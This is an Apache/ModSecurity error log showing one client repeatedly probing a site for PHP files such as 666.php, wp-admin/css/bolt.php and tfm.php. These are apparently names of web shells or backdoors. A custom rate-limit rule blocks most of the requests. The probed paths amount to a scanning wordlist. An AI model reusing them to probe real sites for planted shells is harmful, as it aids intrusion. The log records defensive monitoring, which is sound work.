[Sat Apr 11 08:02:45.711545 2026] [:error] [pid 33173:tid 33258] [client 158.158.33.175:37302] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "admPpa8109xRDP2izWgmVAAAAI0"]
[Sat Apr 11 08:02:46.303838 2026] [:error] [pid 33173:tid 33248] [client 158.158.33.175:33466] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "admPpq8109xRDP2izWgmWAAAAIM"]
[Sat Apr 11 08:02:47.112690 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:37327] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "admPp68109xRDP2izWgmXAAAAIo"]
[Sat Apr 11 08:02:47.771335 2026] [:error] [pid 33171:tid 33205] [client 158.158.33.175:33461] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "admPp7oqTMlo30hcVw-YFQAAABM"]
[Sat Apr 11 08:02:48.386224 2026] [:error] [pid 33171:tid 33208] [client 158.158.33.175:33417] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "admPqLoqTMlo30hcVw-YFwAAABY"]
[Sat Apr 11 08:02:48.933379 2026] [:error] [pid 33171:tid 33197] [client 158.158.33.175:29874] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "admPqLoqTMlo30hcVw-YGgAAAAs"]
[Sat Apr 11 08:02:49.444087 2026] [:error] [pid 33173:tid 33259] [client 158.158.33.175:33454] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "admPqa8109xRDP2izWgmaAAAAI4"]
[Sat Apr 11 08:02:50.773525 2026] [:error] [pid 33288:tid 33304] [client 158.158.33.175:37354] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "admPqmJmwJFFPEgRHfGlGQAAAM4"]
[Sat Apr 11 08:02:51.392425 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:35542] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "admPq2JmwJFFPEgRHfGlHgAAAMA"]
[Sat Apr 11 08:02:52.074044 2026] [:error] [pid 15244:tid 15261] [client 158.158.33.175:35556] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxw.php"] [unique_id "admPrIkdEsz5NeAq8w2ibAAAAQ8"]
[Sat Apr 11 08:02:52.844548 2026] [:error] [pid 33288:tid 33311] [client 158.158.33.175:37262] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "admPrGJmwJFFPEgRHfGlKgAAANU"]
[Sat Apr 11 08:02:53.779966 2026] [:error] [pid 33171:tid 33194] [client 158.158.33.175:20234] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "admPrboqTMlo30hcVw-YJAAAAAg"]
[Sat Apr 11 08:02:54.286714 2026] [:error] [pid 33288:tid 33305] [client 158.158.33.175:33469] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "admPrmJmwJFFPEgRHfGlLwAAAM8"]
[Sat Apr 11 08:02:55.197695 2026] [:error] [pid 33288:tid 33295] [client 158.158.33.175:20240] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "admPr2JmwJFFPEgRHfGlOQAAAMU"]
[Sat Apr 11 08:02:56.491929 2026] [:error] [pid 33171:tid 33209] [client 158.158.33.175:20412] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "admPsLoqTMlo30hcVw-YLwAAABc"]
[Sat Apr 11 08:02:57.098393 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:29684] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "admPsYkdEsz5NeAq8w2iigAAAQU"]
[Sat Apr 11 08:02:57.762771 2026] [:error] [pid 33288:tid 33302] [client 158.158.33.175:24311] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "admPsWJmwJFFPEgRHfGlQwAAAMw"]
[Sat Apr 11 08:02:58.357578 2026] [:error] [pid 33172:tid 33223] [client 158.158.33.175:37307] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "admPsjn2G0IJw5EZY9l6RQAAAEU"]
[Sat Apr 11 08:02:58.857770 2026] [:error] [pid 33288:tid 33301] [client 158.158.33.175:24004] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "admPsmJmwJFFPEgRHfGlSAAAAMs"]
[Sat Apr 11 08:02:59.404785 2026] [:error] [pid 33172:tid 33220] [client 158.158.33.175:24063] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "admPszn2G0IJw5EZY9l6SAAAAEI"]
[Sat Apr 11 08:03:00.015841 2026] [:error] [pid 33171:tid 33207] [client 158.158.33.175:20226] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "admPtLoqTMlo30hcVw-YNwAAABU"]
[Sat Apr 11 08:03:00.627081 2026] [:error] [pid 15244:tid 15249] [client 158.158.33.175:10307] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "admPtIkdEsz5NeAq8w2imgAAAQM"]
[Sat Apr 11 08:03:01.135850 2026] [:error] [pid 33173:tid 33262] [client 158.158.33.175:29857] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admPta8109xRDP2izWgmhwAAAJE"]
[Sat Apr 11 08:03:01.728546 2026] [:error] [pid 33288:tid 33301] [client 158.158.33.175:29693] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admPtWJmwJFFPEgRHfGlVwAAAMs"]
[Sat Apr 11 08:03:02.296936 2026] [:error] [pid 33171:tid 33206] [client 158.158.33.175:10369] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admPtroqTMlo30hcVw-YOQAAABQ"]
[Sat Apr 11 08:03:03.129526 2026] [:error] [pid 15244:tid 15254] [client 158.158.33.175:20262] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "admPt4kdEsz5NeAq8w2iqAAAAQg"]
[Sat Apr 11 08:03:03.653284 2026] [:error] [pid 15244:tid 15247] [client 158.158.33.175:29827] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "admPt4kdEsz5NeAq8w2iqgAAAQE"]
[Sat Apr 11 08:03:04.318107 2026] [:error] [pid 33171:tid 33202] [client 158.158.33.175:37298] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "admPuLoqTMlo30hcVw-YQgAAABA"]
[Sat Apr 11 08:03:04.912600 2026] [:error] [pid 33171:tid 33206] [client 158.158.33.175:33411] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "admPuLoqTMlo30hcVw-YRAAAABQ"]
[Sat Apr 11 08:03:05.450008 2026] [:error] [pid 33172:tid 33240] [client 158.158.33.175:24296] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "admPuTn2G0IJw5EZY9l6TwAAAFY"]
[Sat Apr 11 08:03:06.070948 2026] [:error] [pid 33288:tid 33307] [client 158.158.33.175:29637] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "admPumJmwJFFPEgRHfGlXwAAANE"]
[Sat Apr 11 08:03:06.605013 2026] [:error] [pid 33171:tid 33210] [client 158.158.33.175:33592] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "admPuroqTMlo30hcVw-YSQAAABg"]
[Sat Apr 11 08:03:07.092045 2026] [:error] [pid 15244:tid 15251] [client 158.158.33.175:24269] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "admPu4kdEsz5NeAq8w2iuAAAAQU"]
[Sat Apr 11 08:03:07.672849 2026] [:error] [pid 33171:tid 33186] [client 158.158.33.175:29648] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "admPu7oqTMlo30hcVw-YTAAAAAA"]
[Sat Apr 11 08:03:08.203029 2026] [:error] [pid 15244:tid 15268] [client 158.158.33.175:33423] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "admPvIkdEsz5NeAq8w2ivwAAARY"]
[Sat Apr 11 08:03:08.813626 2026] [:error] [pid 15244:tid 15253] [client 158.158.33.175:33421] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "admPvIkdEsz5NeAq8w2iwwAAAQc"]
[Sat Apr 11 08:03:09.450353 2026] [:error] [pid 33288:tid 33290] [client 158.158.33.175:24009] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "admPvWJmwJFFPEgRHfGlawAAAMA"]
[Sat Apr 11 08:03:10.002323 2026] [:error] [pid 33171:tid 33209] [client 158.158.33.175:35563] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "admPvroqTMlo30hcVw-YUwAAABc"]
[Sat Apr 11 08:03:10.480411 2026] [:error] [pid 33288:tid 33307] [client 158.158.33.175:33442] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "admPvmJmwJFFPEgRHfGlbQAAANE"]
[Sat Apr 11 08:03:11.137293 2026] [:error] [pid 33172:tid 33238] [client 158.158.33.175:29883] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "admPvzn2G0IJw5EZY9l6VwAAAFQ"]
[Sat Apr 11 08:03:11.919760 2026] [:error] [pid 33172:tid 33229] [client 158.158.33.175:8296] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "admPvzn2G0IJw5EZY9l6WgAAAEs"]
[Sat Apr 11 08:03:12.435119 2026] [:error] [pid 33288:tid 33296] [client 158.158.33.175:35474] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "admPwGJmwJFFPEgRHfGlcAAAAMY"]
[Sat Apr 11 08:03:13.195057 2026] [:error] [pid 33171:tid 33188] [client 158.158.33.175:29666] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "admPwboqTMlo30hcVw-YYQAAAAI"]
[Sat Apr 11 08:03:13.882382 2026] [:error] [pid 33288:tid 33304] [client 158.158.33.175:29675] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "admPwWJmwJFFPEgRHfGldQAAAM4"]
[Sat Apr 11 08:03:14.460759 2026] [:error] [pid 33171:tid 33206] [client 158.158.33.175:33538] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "admPwroqTMlo30hcVw-YYwAAABQ"]
[Sat Apr 11 08:03:15.014361 2026] [:error] [pid 33288:tid 33301] [client 158.158.33.175:20271] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "admPw2JmwJFFPEgRHfGlfAAAAMs"]
[Sat Apr 11 08:03:16.120747 2026] [:error] [pid 33171:tid 33191] [client 158.158.33.175:39486] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/wp-blog.php"] [unique_id "admPxLoqTMlo30hcVw-YaQAAAAU"]
[Sat Apr 11 08:03:16.773591 2026] [:error] [pid 33172:tid 33227] [client 158.158.33.175:29854] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/wp-blog.php"] [unique_id "admPxDn2G0IJw5EZY9l6YAAAAEk"]
[Sat Apr 11 08:03:17.470879 2026] [:error] [pid 33288:tid 33305] [client 158.158.33.175:37287] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/wp-blog.php"] [unique_id "admPxWJmwJFFPEgRHfGlggAAAM8"]
[Sat Apr 11 08:03:18.374683 2026] [:error] [pid 33173:tid 33253] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/nw.php
[Sat Apr 11 08:03:18.684934 2026] [:error] [pid 33173:tid 33269] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/tool.php
[Sat Apr 11 08:03:18.927577 2026] [:error] [pid 33173:tid 33262] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/drhunthq.php
[Sat Apr 11 08:03:19.438960 2026] [:error] [pid 33173:tid 33255] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/tfm.php
[Sat Apr 11 08:03:19.680070 2026] [:error] [pid 33173:tid 33268] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/a4.php
[Sat Apr 11 08:03:19.926567 2026] [:error] [pid 33173:tid 33260] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/wen.php
[Sat Apr 11 08:03:20.321664 2026] [:error] [pid 33173:tid 33267] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/ms.php
[Sat Apr 11 08:03:20.562963 2026] [:error] [pid 33173:tid 33250] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Sat Apr 11 08:03:20.804305 2026] [:error] [pid 33173:tid 33246] [client 158.158.33.175:37299] File does not exist: /usr/local/apache/htdocs/suspended-page/tfm.php
[Sat Apr 11 08:03:21.042620 2026] [:error] [pid 33173:tid 33253] [client 158.158.33.175:37299] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "admPya8109xRDP2izWgmrgAAAIg"]
[Sat Apr 11 08:03:21.552300 2026] [:error] [pid 33173:tid 33269] [client 158.158.33.175:14042] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "admPya8109xRDP2izWgmsgAAAJg"]
[Sat Apr 11 08:03:22.092403 2026] [:error] [pid 33288:tid 33304] [client 158.158.33.175:35528] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "admPymJmwJFFPEgRHfGllQAAAM4"]
[Sat Apr 11 08:03:22.651703 2026] [:error] [pid 33288:tid 33307] [client 158.158.33.175:39457] [client 158.158.33.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "admPymJmwJFFPEgRHfGlmgAAANE"]
